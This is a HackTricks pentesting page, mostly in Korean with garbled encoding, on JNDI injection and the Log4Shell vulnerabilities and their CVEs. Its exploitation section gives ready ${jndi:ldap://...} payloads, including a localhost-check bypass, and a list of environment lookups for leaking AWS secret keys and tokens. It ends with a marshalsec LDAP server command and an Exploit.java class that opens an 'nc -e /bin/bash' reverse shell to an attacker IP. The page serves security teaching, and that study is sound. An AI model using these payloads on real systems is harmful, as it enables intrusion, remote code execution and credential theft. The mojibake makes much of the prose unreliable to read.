JNDI - Java Naming and Directory Interface & Log4Shell
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
JNDI๋ 1990๋ ๋ ํ๋ฐ๋ถํฐ Java์ ํตํฉ๋์ด ๋ฐ์ดํฐ๋ ๊ฐ์ฒด๋ฅผ ์ด๋ฆ ์ฒด๊ณ๋ฅผ ํตํด ์ฐพ์ ์ ์๋๋ก ํ๋ ๋๋ ํ ๋ฆฌ ์๋น์ค ์ญํ ์ ํฉ๋๋ค. ์๋น์ค ์ ๊ณต์ ์ธํฐํ์ด์ค(SPIs)๋ฅผ ํตํด ๋ค์ํ ๋๋ ํ ๋ฆฌ ์๋น์ค๋ฅผ ์ง์ํ๋ฉฐ, ์๊ฒฉ Java ๊ฐ์ฒด๋ฅผ ํฌํจํ ๋ค์ํ ์์คํ ์์ ๋ฐ์ดํฐ ๊ฒ์์ด ๊ฐ๋ฅํฉ๋๋ค. ์ผ๋ฐ์ ์ธ SPI๋ก๋ CORBA COS, Java RMI Registry, LDAP์ด ์์ต๋๋ค.
JNDI ์ด๋ฆ ์ฐธ์กฐ
Java ๊ฐ์ฒด๋ JNDI ์ด๋ฆ ์ฐธ์กฐ๋ฅผ ์ฌ์ฉํ์ฌ ์ ์ฅํ๊ณ ๊ฒ์ํ ์ ์์ผ๋ฉฐ, ๋ ๊ฐ์ง ํํ๋ก ์ ๊ณต๋ฉ๋๋ค:
- ์ฐธ์กฐ ์ฃผ์: ๊ฐ์ฒด์ ์์น๋ฅผ ์ง์ ํฉ๋๋ค(์: rmi://server/ref), ์ง์ ๋ ์ฃผ์์์ ์ง์ ๊ฒ์ํ ์ ์์ต๋๋ค.
- ์๊ฒฉ ํฉํ ๋ฆฌ: ์๊ฒฉ ํฉํ ๋ฆฌ ํด๋์ค๋ฅผ ์ฐธ์กฐํฉ๋๋ค. ์ ๊ทผ ์, ํด๋น ํด๋์ค๊ฐ ์๊ฒฉ ์์น์์ ๋ค์ด๋ก๋๋๊ณ ์ธ์คํด์คํ๋ฉ๋๋ค.
๊ทธ๋ฌ๋ ์ด ๋ฉ์ปค๋์ฆ์ ์ ์ฉ๋ ์ ์์ผ๋ฉฐ, ์์์ ์ฝ๋๊ฐ ๋ก๋๋๊ณ ์คํ๋ ์ ์์ต๋๋ค. ์ด์ ๋ํ ๋์์ฑ ์ผ๋ก:
- RMI: JDK 7u21๋ถํฐ ๊ธฐ๋ณธ์ ์ผ๋ก
java.rmi.server.useCodebaseOnly = true๋ก ์ค์ ๋์ด ์๊ฒฉ ๊ฐ์ฒด ๋ก๋๋ฅผ ์ ํํฉ๋๋ค. ๋ณด์ ๊ด๋ฆฌ์๊ฐ ์ถ๊ฐ๋ก ๋ก๋ํ ์ ์๋ ๋ด์ฉ์ ์ ํํฉ๋๋ค. - LDAP: JDK 6u141, 7u131, 8u121๋ถํฐ ๊ธฐ๋ณธ์ ์ผ๋ก
com.sun.jndi.ldap.object.trustURLCodebase = false๋ก ์ค์ ๋์ด ์๊ฒฉ์ผ๋ก ๋ก๋๋ Java ๊ฐ์ฒด์ ์คํ์ ์ฐจ๋จํฉ๋๋ค.true๋ก ์ค์ ํ๋ฉด ๋ณด์ ๊ด๋ฆฌ์์ ๊ฐ๋ ์์ด ์๊ฒฉ ์ฝ๋ ์คํ์ด ๊ฐ๋ฅํฉ๋๋ค. - CORBA: ํน์ ์์ฑ์ด ์์ง๋ง ๋ณด์ ๊ด๋ฆฌ์๋ ํญ์ ํ์ฑํ๋์ด ์์ต๋๋ค.
๊ทธ๋ฌ๋ JNDI ๋งํฌ๋ฅผ ํด๊ฒฐํ๋ ์ญํ ์ ํ๋ ์ด๋ฆ ๊ด๋ฆฌ์๋ ๋ด์ฅ ๋ณด์ ๋ฉ์ปค๋์ฆ์ด ๋ถ์กฑํ์ฌ ๋ชจ๋ ์ถ์ฒ์์ ๊ฐ์ฒด๋ฅผ ๊ฒ์ํ ์ ์๋ ์ํ์ด ์์ต๋๋ค. ์ด๋ RMI, LDAP ๋ฐ CORBA ๋ณดํธ๋ฅผ ์ฐํํ ์ ์์ด ์์์ Java ๊ฐ์ฒด๋ฅผ ๋ก๋ํ๊ฑฐ๋ ๊ธฐ์กด ์ ํ๋ฆฌ์ผ์ด์ ๊ตฌ์ฑ ์์(๊ฐ์ ฏ)๋ฅผ ์ ์ฉํ์ฌ ์ ์ฑ ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค.
์ ์ฉ ๊ฐ๋ฅํ URL์ ์๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- rmi://attacker-server/bar
- ldap://attacker-server/bar
- iiop://attacker-server/bar
๋ณดํธ์๋ ๋ถ๊ตฌํ๊ณ , JNDI๋ฅผ ์ ๋ขฐํ ์ ์๋ ์ถ์ฒ์์ ๋ก๋ํ๋ ๊ฒ์ ๋ํ ๋ณดํธ ์ฅ์น๊ฐ ๋ถ์กฑํ๊ณ ๊ธฐ์กด ๋ณดํธ๋ฅผ ์ฐํํ ์ ์๋ ๊ฐ๋ฅ์ฑ ๋๋ฌธ์ ์ทจ์ฝ์ ์ด ๋จ์ ์์ต๋๋ค.
JNDI ์์
.png)
**PROVIDER_URL**์ ์ค์ ํ๋๋ผ๋, ์กฐํ ์ ๋ค๋ฅธ URL์ ์ง์ ํ ์ ์์ผ๋ฉฐ ์ ๊ทผํ ์ ์์ต๋๋ค: ctx.lookup("<attacker-controlled-url>") ์ด๋ ๊ณต๊ฒฉ์๊ฐ ์์ ์ด ์ ์ดํ๋ ์์คํ
์์ ์์์ ๊ฐ์ฒด๋ฅผ ๋ก๋ํ๋ ๋ฐ ์
์ฉํ ๊ฒ์
๋๋ค.
CORBA ๊ฐ์
CORBA(๊ณตํต ๊ฐ์ฒด ์์ฒญ ๋ธ๋ก์ปค ์ํคํ ์ฒ)๋ ์๊ฒฉ ๊ฐ์ฒด๋ฅผ ๊ณ ์ ํ๊ฒ ์๋ณํ๊ธฐ ์ํด **์ํธ ์ด์ฉ ๊ฐ๋ฅํ ๊ฐ์ฒด ์ฐธ์กฐ(IOR)**๋ฅผ ์ฌ์ฉํฉ๋๋ค. ์ด ์ฐธ์กฐ๋ ๋ค์๊ณผ ๊ฐ์ ํ์ ์ ๋ณด๋ฅผ ํฌํจํฉ๋๋ค:
- ํ์ ID: ์ธํฐํ์ด์ค์ ๊ณ ์ ์๋ณ์.
- ์ฝ๋๋ฒ ์ด์ค: ์คํ ํด๋์ค๋ฅผ ์ป๊ธฐ ์ํ URL.
ํนํ, CORBA๋ ๋ณธ์ง์ ์ผ๋ก ์ทจ์ฝํ์ง ์์ต๋๋ค. ๋ณด์์ ๋ณด์ฅํ๊ธฐ ์ํด ์ผ๋ฐ์ ์ผ๋ก ๋ค์์ ํฌํจํฉ๋๋ค:
- ๋ณด์ ๊ด๋ฆฌ์ ์ค์น.
- ๋ณด์ ๊ด๋ฆฌ์๋ฅผ ๊ตฌ์ฑํ์ฌ ์ ์ฌ์ ์ผ๋ก ์ ์ฑ ์ฝ๋๋ฒ ์ด์ค์ ๋ํ ์ฐ๊ฒฐ์ ํ์ฉํฉ๋๋ค. ์ด๋ ๋ค์์ ํตํด ๋ฌ์ฑํ ์ ์์ต๋๋ค:
- ์์ผ ๊ถํ, ์:
permissions java.net.SocketPermission "*:1098-1099", "connect";. - ํ์ผ ์ฝ๊ธฐ ๊ถํ, ์ ์ญ์ ์ผ๋ก(
permission java.io.FilePermission "<<ALL FILES>>", "read";) ๋๋ ์ ์ฑ ํ์ผ์ด ๋ฐฐ์น๋ ์ ์๋ ํน์ ๋๋ ํ ๋ฆฌ์ ๋ํด.
๊ทธ๋ฌ๋ ์ผ๋ถ ๊ณต๊ธ์ ์ฒด ์ ์ฑ ์ ๊ธฐ๋ณธ์ ์ผ๋ก ์ด๋ฌํ ์ฐ๊ฒฐ์ ํ์ฉํ ์ ์์ต๋๋ค.
RMI ์ปจํ ์คํธ
RMI(์๊ฒฉ ๋ฉ์๋ ํธ์ถ)์ ๊ฒฝ์ฐ ์ํฉ์ด ๋ค์ ๋ค๋ฆ ๋๋ค. CORBA์ ๋ง์ฐฌ๊ฐ์ง๋ก ์์์ ํด๋์ค ๋ค์ด๋ก๋๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์ ํ๋ฉ๋๋ค. RMI๋ฅผ ์ ์ฉํ๋ ค๋ฉด ์ผ๋ฐ์ ์ผ๋ก ๋ณด์ ๊ด๋ฆฌ์๋ฅผ ์ฐํํด์ผ ํ๋ฉฐ, ์ด๋ CORBA์์๋ ๊ด๋ จ์ด ์์ต๋๋ค.
LDAP
์ฐ์ , ๊ฒ์๊ณผ ์กฐํ๋ฅผ ๊ตฌ๋ถํด์ผ ํฉ๋๋ค.
๊ฒ์์ ldap://localhost:389/o=JNDITutorial๊ณผ ๊ฐ์ URL์ ์ฌ์ฉํ์ฌ LDAP ์๋ฒ์์ JNDITutorial ๊ฐ์ฒด๋ฅผ ์ฐพ๊ณ ์์ฑ์ ๊ฒ์ํฉ๋๋ค.
์กฐํ๋ ์ด๋ฆ ์๋น์ค๋ฅผ ์ํ ๊ฒ์ผ๋ก, ์ด๋ฆ์ ๋ฐ์ธ๋ฉ๋ ๋ชจ๋ ๊ฒ์ ์ป๊ธฐ ์ํด ์ฌ์ฉ๋ฉ๋๋ค.
LDAP ๊ฒ์์ด **SearchControls.setReturningObjFlag()**์ ํจ๊ป true๋ก ํธ์ถ๋๋ฉด, ๋ฐํ๋ ๊ฐ์ฒด๋ ์ฌ๊ตฌ์ฑ๋ฉ๋๋ค.
๋ฐ๋ผ์ ์ด๋ฌํ ์ต์
์ ๊ณต๊ฒฉํ ์ ์๋ ์ฌ๋ฌ ๋ฐฉ๋ฒ์ด ์์ต๋๋ค.
๊ณต๊ฒฉ์๋ LDAP ๋ ์ฝ๋๋ฅผ ์ค์ผ์์ผ ํ์ด๋ก๋๋ฅผ ์ฃผ์
ํ ์ ์์ต๋๋ค. ์ด๋ LDAP ์๋ฒ์ ์ ๊ทผํ ์ ์๋ ๊ฒฝ์ฐ ์์ญ ๋์ ๋จธ์ ์ ์์์ํค๋ ๋ฐ ๋งค์ฐ ์ ์ฉํฉ๋๋ค. ์ด๋ฅผ ์
์ฉํ๋ ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ LDAP ๊ฒ์์์ MitM ๊ณต๊ฒฉ์ ์ํํ๋ ๊ฒ์
๋๋ค.
์ ํ๋ฆฌ์ผ์ด์ ์ด JNDI LDAP URL์ ํด๊ฒฐํ๋๋ก ๋ง๋ค ์ ์๋ ๊ฒฝ์ฐ, ๊ฒ์ํ LDAP๋ฅผ ์ ์ดํ ์ ์์ผ๋ฉฐ, ์ต์คํ๋ก์์ ๋ฐํํ ์ ์์ต๋๋ค(๋ก๊ทธ4์).
์ญ์ง๋ ฌํ ์ต์คํ๋ก์
.png)
์ต์คํ๋ก์์ ์ง๋ ฌํ๋์ด ์ญ์ง๋ ฌํ๋ฉ๋๋ค.trustURLCodebase๊ฐ true์ธ ๊ฒฝ์ฐ, ๊ณต๊ฒฉ์๋ ์ฝ๋๋ฒ ์ด์ค์ ์์ ์ ํด๋์ค๋ฅผ ์ ๊ณตํ ์ ์์ผ๋ฉฐ, ๊ทธ๋ ์ง ์์ผ๋ฉด ํด๋์ค ๊ฒฝ๋ก์์ ๊ฐ์ ฏ์ ์
์ฉํด์ผ ํฉ๋๋ค.
JNDI ์ฐธ์กฐ ์ต์คํ๋ก์
JavaFactory ์ฐธ์กฐ๋ฅผ ์ฌ์ฉํ์ฌ ์ด LDAP๋ฅผ ๊ณต๊ฒฉํ๋ ๊ฒ์ด ๋ ์ฝ์ต๋๋ค:
.png)
Log4Shell ์ทจ์ฝ์
์ด ์ทจ์ฝ์ ์ Log4j์์ ํน์ ๊ตฌ๋ฌธ์ ์ง์ํ๊ธฐ ๋๋ฌธ์ ๋ฐ์ํฉ๋๋ค. ์ด ๊ตฌ๋ฌธ์ ${prefix:name} ํ์์ด๋ฉฐ, ์ฌ๊ธฐ์ prefix๋ ์ฌ๋ฌ ๋ค๋ฅธ ์กฐํ ์ค ํ๋์ด๊ณ name์ ํ๊ฐ๋์ด์ผ ํฉ๋๋ค. ์๋ฅผ ๋ค์ด, ${java:version}์ ํ์ฌ ์คํ ์ค์ธ Java ๋ฒ์ ์
๋๋ค.
LOG4J2-313์ jndi ์กฐํ ๊ธฐ๋ฅ์ ๋์
ํ์ต๋๋ค. ์ด ๊ธฐ๋ฅ์ JNDI๋ฅผ ํตํด ๋ณ์๋ฅผ ๊ฒ์ํ ์ ์๊ฒ ํด์ค๋๋ค. ์ผ๋ฐ์ ์ผ๋ก ํค๋ ์๋์ผ๋ก java:comp/env/๋ก ์ ๋์ฌ๊ฐ ๋ถ์ต๋๋ค. ๊ทธ๋ฌ๋ ํค ์์ฒด์ **โ:โ**๊ฐ ํฌํจ๋ ๊ฒฝ์ฐ, ์ด ๊ธฐ๋ณธ ์ ๋์ฌ๊ฐ ์ ์ฉ๋์ง ์์ต๋๋ค.
ํค์ :๊ฐ ์กด์ฌํ๋ ๊ฒฝ์ฐ, ์๋ฅผ ๋ค์ด ${jndi:ldap://example.com/a}์ ๊ฐ์ด ์ ๋์ฌ๊ฐ ์๊ณ LDAP ์๋ฒ์ ๊ฐ์ฒด๊ฐ ์ฟผ๋ฆฌ๋ฉ๋๋ค. ์ด๋ฌํ ์กฐํ๋ Log4j์ ๊ตฌ์ฑ๋ฟ๋ง ์๋๋ผ ๋ก๊ทธ๊ฐ ๊ธฐ๋ก๋ ๋์๋ ์ฌ์ฉ๋ ์ ์์ต๋๋ค.
๋ฐ๋ผ์ RCE๋ฅผ ์ป๊ธฐ ์ํด ํ์ํ ๊ฒ์ ์ฌ์ฉ์๊ฐ ์ ์ดํ๋ ์ ๋ณด๋ฅผ ์ฒ๋ฆฌํ๋ ์ทจ์ฝํ ๋ฒ์ ์ Log4j์ ๋๋ค. ์ด ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ Java ์ ํ๋ฆฌ์ผ์ด์ ์์ ์ ๋ณด๋ฅผ ๊ธฐ๋กํ๋ ๋ฐ ๋๋ฆฌ ์ฌ์ฉ๋๊ธฐ ๋๋ฌธ์(์ธํฐ๋ท์ ๋ ธ์ถ๋ ์ ํ๋ฆฌ์ผ์ด์ ํฌํจ) HTTP ํค๋์ ๊ฐ์ ์ ๋ณด๋ฅผ ๊ธฐ๋กํ๋ log4j๊ฐ ์ผ๋ฐ์ ์ด์์ต๋๋ค. ๊ทธ๋ฌ๋ log4j๋ HTTP ์ ๋ณด๋ง ๊ธฐ๋กํ๋ ๊ฒ์ด ์๋๋ผ ๊ฐ๋ฐ์๊ฐ ์ง์ ํ ๋ชจ๋ ์ ๋ ฅ๊ณผ ๋ฐ์ดํฐ๋ ๊ธฐ๋กํฉ๋๋ค.
Log4Shell ๊ด๋ จ CVE ๊ฐ์
CVE-2021-44228 [Critical]
์ด ์ทจ์ฝ์ ์ log4j-core ๊ตฌ์ฑ ์์์ ์ฌ๊ฐํ ์ ๋ขฐํ ์ ์๋ ์ญ์ง๋ ฌํ ๊ฒฐํจ์ผ๋ก, 2.0-beta9์์ 2.14.1๊น์ง์ ๋ฒ์ ์ ์ํฅ์ ๋ฏธ์นฉ๋๋ค. ์ด๋ **์๊ฒฉ ์ฝ๋ ์คํ(RCE)**์ ํ์ฉํ์ฌ ๊ณต๊ฒฉ์๊ฐ ์์คํ
์ ์ฅ์
ํ ์ ์๊ฒ ํฉ๋๋ค. ์ด ๋ฌธ์ ๋ Alibaba Cloud Security Team์ Chen Zhaojun์ ์ํด ๋ณด๊ณ ๋์์ผ๋ฉฐ, ๋ค์ํ Apache ํ๋ ์์ํฌ์ ์ํฅ์ ๋ฏธ์นฉ๋๋ค. 2.15.0 ๋ฒ์ ์ ์ด๊ธฐ ์์ ์ ๋ถ์์ ํ์ต๋๋ค. ๋ฐฉ์ด๋ฅผ ์ํ Sigma ๊ท์น์ด ์ ๊ณต๋ฉ๋๋ค (Rule 1, Rule 2).
CVE-2021-45046 [Critical]
์ฒ์์๋ ๋ฎ์ ๋ฑ๊ธ์ผ๋ก ํ๊ฐ๋์์ผ๋ ๋์ค์ ์ฌ๊ฐํ ๋ฑ๊ธ์ผ๋ก ์์นํ ์ด CVE๋ CVE-2021-44228์ ๋ํ 2.15.0์ ๋ถ์์ ํ ์์ ์ผ๋ก ์ธํ ์๋น์ค ๊ฑฐ๋ถ(DoS) ๊ฒฐํจ์ ๋๋ค. ์ด๋ ๋น๊ธฐ๋ณธ ๊ตฌ์ฑ์ ์ํฅ์ ๋ฏธ์น๋ฉฐ, ๊ณต๊ฒฉ์๊ฐ ์กฐ์๋ ํ์ด๋ก๋๋ฅผ ํตํด DoS ๊ณต๊ฒฉ์ ์ ๋ฐํ ์ ์์ต๋๋ค. ํธ์์์ ์ฐํ ๋ฐฉ๋ฒ์ด ์๊ฐ๋์์ต๋๋ค. ์ด ๋ฌธ์ ๋ 2.16.0 ๋ฐ 2.12.2 ๋ฒ์ ์์ ๋ฉ์์ง ์กฐํ ํจํด์ ์ ๊ฑฐํ๊ณ ๊ธฐ๋ณธ์ ์ผ๋ก JNDI๋ฅผ ๋นํ์ฑํํ์ฌ ํด๊ฒฐ๋์์ต๋๋ค.
CVE-2021-4104 [High]
Log4j 1.x ๋ฒ์ ์ ์ํฅ์ ๋ฏธ์น๋ ์ด CVE๋ ๋น๊ธฐ๋ณธ ๊ตฌ์ฑ์์ JMSAppender๋ฅผ ์ฌ์ฉํ๋ ์ ๋ขฐํ ์ ์๋ ์ญ์ง๋ ฌํ ๊ฒฐํจ์
๋๋ค. 1.x ๋ธ๋์น์ ๋ํ ์์ ์ ์ ๊ณต๋์ง ์์ผ๋ฉฐ, log4j-core 2.17.0์ผ๋ก ์
๊ทธ๋ ์ด๋ํ๋ ๊ฒ์ด ๊ถ์ฅ๋ฉ๋๋ค.
CVE-2021-42550 [Moderate]
์ด ์ทจ์ฝ์ ์ Log4j 1.x์ ํ์์ธ Logback ๋ก๊น ํ๋ ์์ํฌ์ ์ํฅ์ ๋ฏธ์นฉ๋๋ค. ์ด์ ์๋ ์์ ํ๋ค๊ณ ์ฌ๊ฒจ์ก์ผ๋, ์ด ํ๋ ์์ํฌ๊ฐ ์ทจ์ฝํ ๊ฒ์ผ๋ก ๋ฐํ์ก์ผ๋ฉฐ, ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํด ์๋ก์ด ๋ฒ์ (1.3.0-alpha11 ๋ฐ 1.2.9)์ด ์ถ์๋์์ต๋๋ค.
CVE-2021-45105 [High]
Log4j 2.16.0์๋ DoS ๊ฒฐํจ์ด ํฌํจ๋์ด ์์ผ๋ฉฐ, CVE๋ฅผ ์์ ํ๊ธฐ ์ํด log4j 2.17.0์ด ์ถ์๋์์ต๋๋ค. ์ถ๊ฐ ์ธ๋ถ ์ฌํญ์ BleepingComputer์ ๋ณด๊ณ ์์์ ํ์ธํ ์ ์์ต๋๋ค.
CVE-2021-44832
log4j ๋ฒ์ 2.17์ ์ํฅ์ ๋ฏธ์น๋ ์ด CVE๋ ๊ณต๊ฒฉ์๊ฐ log4j์ ๊ตฌ์ฑ ํ์ผ์ ์ ์ดํด์ผ ํฉ๋๋ค. ์ด๋ ๊ตฌ์ฑ๋ JDBCAppender๋ฅผ ํตํด ์ ์ฌ์ ์ธ ์์ ์ฝ๋ ์คํ์ ํฌํจํฉ๋๋ค. ๋ ๋ง์ ์ธ๋ถ ์ฌํญ์ Checkmarx ๋ธ๋ก๊ทธ ๊ฒ์๋ฌผ์์ ํ์ธํ ์ ์์ต๋๋ค.
Log4Shell ์ ์ฉ
๋ฐ๊ฒฌ
์ด ์ทจ์ฝ์ ์ ๋ณดํธ๋์ง ์์ ๊ฒฝ์ฐ ๋งค์ฐ ์ฝ๊ฒ ๋ฐ๊ฒฌ๋ ์ ์์ต๋๋ค. ํ์ด๋ก๋์ ์ง์ ํ ์ฃผ์๋ก ์ต์ํ DNS ์์ฒญ์ ๋ณด๋ผ ๊ฒ์ด๊ธฐ ๋๋ฌธ์ ๋๋ค. ๋ฐ๋ผ์ ๋ค์๊ณผ ๊ฐ์ ํ์ด๋ก๋๊ฐ ๊ฐ๋ฅํฉ๋๋ค:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}(using canarytokens.com)${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}(using interactsh)${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}(using Burp Suite)${jndi:ldap://2j4ayo.dnslog.cn}(using dnslog)${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}(using huntress)
DNS ์์ฒญ์ด ์์ ๋์๋ค๊ณ ํด์ ์ ํ๋ฆฌ์ผ์ด์ ์ด ์ ์ฉ ๊ฐ๋ฅํ๋ค๋ ์๋ฏธ๋ ์๋๋๋ค(๋๋ ์ฌ์ง์ด ์ทจ์ฝํ๋ค๋ ์๋ฏธ๋ ์๋๋๋ค). ์ด๋ฅผ ์ ์ฉํ๋ ค๊ณ ์๋ํด์ผ ํฉ๋๋ค.
Note
๋ฒ์ 2.15๋ฅผ ์ ์ฉํ๋ ค๋ฉด localhost ์ฒดํฌ ์ฐํ๋ฅผ ์ถ๊ฐํด์ผ ํฉ๋๋ค: ${jndi:ldap://127.0.0.1#โฆ}
๋ก์ปฌ ๋ฐ๊ฒฌ
๋ค์ ๋ช ๋ น์ด๋ก ๋ก์ปฌ ์ทจ์ฝํ ๋ฒ์ ์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ๊ฒ์ํฉ๋๋ค:
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
๊ฒ์ฆ
์์ ๋์ด๋ ํ๋ซํผ ์ค ์ผ๋ถ๋ ์์ฒญ ์ ๊ธฐ๋ก๋๋ ์ผ๋ถ ๋ณ์ ๋ฐ์ดํฐ๋ฅผ ์ฝ์
ํ ์ ์์ต๋๋ค.
์ด๋ ๋ ๊ฐ์ง์ ๋งค์ฐ ์ ์ฉํ ์ ์์ต๋๋ค:
- ์ทจ์ฝ์ ์ ๊ฒ์ฆํ๊ธฐ ์ํด
- ์ทจ์ฝ์ ์ ์ ์ฉํ์ฌ ์ ๋ณด๋ฅผ ์ ์ถํ๊ธฐ ์ํด
์๋ฅผ ๋ค์ด, ๋ค์๊ณผ ๊ฐ์ ์์ฒญ์ ํ ์ ์์ต๋๋ค:
๋๋ ${**jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}**์ ๊ฐ์ด ์์ฒญํ๋ฉด, ํ๊ฒฝ ๋ณ์์ ๊ฐ์ผ๋ก DNS ์์ฒญ์ด ์์ ๋๋ฉด, ์ ํ๋ฆฌ์ผ์ด์
์ด ์ทจ์ฝํ๋ค๋ ๊ฒ์ ์ ์ ์์ต๋๋ค.
์ ์ถ์ ์๋ํ ์ ์๋ ๋ค๋ฅธ ์ ๋ณด:
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
Any other env variable name that could store sensitive information
RCE ์ ๋ณด
Note
JDK ๋ฒ์ 6u141, 7u131 ๋๋ 8u121 ์ด์์์ ์คํ๋๋ ํธ์คํธ๋ LDAP ํด๋์ค ๋ก๋ฉ ๊ณต๊ฒฉ ๋ฒกํฐ๋ก๋ถํฐ ๋ณดํธ๋ฉ๋๋ค. ์ด๋
com.sun.jndi.ldap.object.trustURLCodebase์ ๊ธฐ๋ณธ ๋นํ์ฑํ ๋๋ฌธ์ผ๋ก, JNDI๊ฐ LDAP๋ฅผ ํตํด ์๊ฒฉ ์ฝ๋๋ฒ ์ด์ค๋ฅผ ๋ก๋ํ๋ ๊ฒ์ ๋ฐฉ์งํฉ๋๋ค. ๊ทธ๋ฌ๋ ์ด๋ฌํ ๋ฒ์ ์ ์ญ์ง๋ ฌํ ๊ณต๊ฒฉ ๋ฒกํฐ์ ๋ํด ๋ณดํธ๋์ง ์์์ ์ฃผ์ํด์ผ ํฉ๋๋ค.์ด๋ฌํ ๋์ JDK ๋ฒ์ ์ ์ ์ฉํ๋ ค๋ ๊ณต๊ฒฉ์๋ Java ์ ํ๋ฆฌ์ผ์ด์ ๋ด์์ ์ ๋ขฐํ ์ ์๋ ๊ฐ์ ฏ์ ํ์ฉํด์ผ ํฉ๋๋ค. ysoserial ๋๋ JNDIExploit๊ณผ ๊ฐ์ ๋๊ตฌ๊ฐ ์ข ์ข ์ด ๋ชฉ์ ์ ์ฌ์ฉ๋ฉ๋๋ค. ๋ฐ๋ฉด, ๋ฎ์ JDK ๋ฒ์ ์ ์ ์ฉํ๋ ๊ฒ์ ์๋์ ์ผ๋ก ๋ ์ฝ์ต๋๋ค. ์ด๋ฌํ ๋ฒ์ ์ ์์์ ํด๋์ค๋ฅผ ๋ก๋ํ๊ณ ์คํํ๋๋ก ์กฐ์ํ ์ ์์ต๋๋ค.
์์ธํ ์ ๋ณด (RMI ๋ฐ CORBA ๋ฒกํฐ์ ๋ํ ์ ํ ์ฌํญ๊ณผ ๊ฐ์) ๋ ์ด์ JNDI ๋ช ๋ช ์ฐธ์กฐ ์น์ ์ ํ์ธํ๊ฑฐ๋ https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ ๋ฅผ ์ฐธ์กฐํ์ธ์.
RCE - ์ฌ์ฉ์ ์ ์ ํ์ด๋ก๋๋ฅผ ์ฌ์ฉํ Marshalsec
์ด๊ฒ์ THM ๋ฐ์ค์์ ํ ์คํธํ ์ ์์ต๋๋ค: https://tryhackme.com/room/solar
๋๊ตฌ marshalsec (jar ๋ฒ์ ์ ์ฌ๊ธฐ์์ ์ฌ์ฉ ๊ฐ๋ฅ)๋ฅผ ์ฌ์ฉํ์ธ์. ์ด ์ ๊ทผ ๋ฐฉ์์ ์ฐ๊ฒฐ์ ๋ ๋ฒ์งธ HTTP ์๋ฒ๋ก ๋ฆฌ๋๋ ์ ํ๋ LDAP ์ฐธ์กฐ ์๋ฒ๋ฅผ ์ค์ ํ์ฌ ์ต์คํ๋ก์์ด ํธ์คํ ๋ ์ ์๋๋ก ํฉ๋๋ค:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
๋์์ ๋ฆฌ๋ฒ์ค ์
ธ ์ฝ๋๋ฅผ ๋ก๋ํ๋๋ก ์ ๋ํ๊ธฐ ์ํด, ์๋ ๋ด์ฉ์ ํฌํจํ Exploit.java๋ผ๋ ์ด๋ฆ์ Java ํ์ผ์ ์์ฑํฉ๋๋ค:
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
